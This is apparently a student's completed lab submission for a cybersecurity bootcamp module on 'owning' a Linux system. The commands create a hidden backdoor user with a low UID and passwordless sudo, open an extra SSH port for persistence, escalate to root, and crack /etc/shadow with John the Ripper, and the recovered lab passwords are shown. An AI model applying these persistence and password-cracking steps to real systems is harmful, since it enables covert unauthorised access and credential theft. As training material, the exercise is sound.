| Cybersecurity |
| --- |
| Module 6 Challenge Submission File |

## Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

### Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

| sudo adduser --no-create-home sysd |
| --- |

1. Give your secret user a password.

| passwd sysd  New password: hacked  Retype new password: hacked  passwd: password updated successfully |
| --- |

1. Give your secret user a system UID < 1000.

| usermod -u 115 sysd |
| --- |

1. Give your secret user the same GID.

| groupmod -g 115 sysd |
| --- |

1. Give your secret user full sudo access without the need for a password.

| visudo  ##Edited the sudoers file  # User privilege specification  sysd ALL=(ALL:ALL) NOPASSWD:ALL |
| --- |

1. Test that sudo access works without your password.

| sudo -l -U sysd  Matching Defaults entries for sysd on 2cb0e39ef71c:  env\_reset, mail\_badpass,  secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  User sysd may run the following commands on 2cb0e39ef71c:  (ALL : ALL) NOPASSWD: ALL  sysd@2cb0e39ef71c:/root$ sudo -l  Matching Defaults entries for sysd on 2cb0e39ef71c:  env\_reset, mail\_badpass,  secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  User sysd may run the following commands on 2cb0e39ef71c:  (ALL : ALL) NOPASSWD: ALL |
| --- |

### Step 2: Smooth Sailing

1. Edit the sshd\_config file.

| Include /etc/ssh/sshd\_config.d/\*.conf  #Default Port open is 22, added Port 2222 in sshd\_config file and ensured it was unhashed with Port 22.  Port 22  Port 2222  #AddressFamily any  #ListenAddress 0.0.0.0  #ListenAddress ::  ….. |
| --- |

### Step 3: Testing Your Configuration Update

1. Restart the SSH service.

| sudo service ssh restart |
| --- |

1. Exit the root account.

| su sysadmin  exit |
| --- |

1. SSH to the target machine using your sysd account and port 2222.

| ## Test to see if connection refused on Port 22 and Port 2222.  sysadmin@vm-image-ubuntu-dev-1:~$ ssh sysd@192.168.6.105 -p 22  sysd@192.168.6.105's password:  sysadmin@vm-image-ubuntu-dev-1:~$ ssh sysd@192.168.6.105 -p 2222  sysd@192.168.6.105's password: |
| --- |

1. Use sudo to switch to the root user.

| sudo -s |
| --- |

### Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

| sysadmin@vm-image-ubuntu-dev-1:~$ ssh sysd@192.168.6.105 -p 2222  sysd@192.168.6.105's password: |
| --- |

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

| sudo -s  sudo john /etc/shadow  sudo john --show /etc/shadow  student:Goodluck!:19515:0:99999:7:::  mitnik:trustno1:19515:0:99999:7:::  babbage:freedom:19515:0:99999:7:::  lovelace:dragon:19515:0:99999:7:::  stallman:computer:19515:0:99999:7:::  turing:lakers:19515:0:99999:7:::  sysadmin:passw0rd:19515:0:99999:7:::  sysd:hacked:19553:0:99999:7::: |
| --- |

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.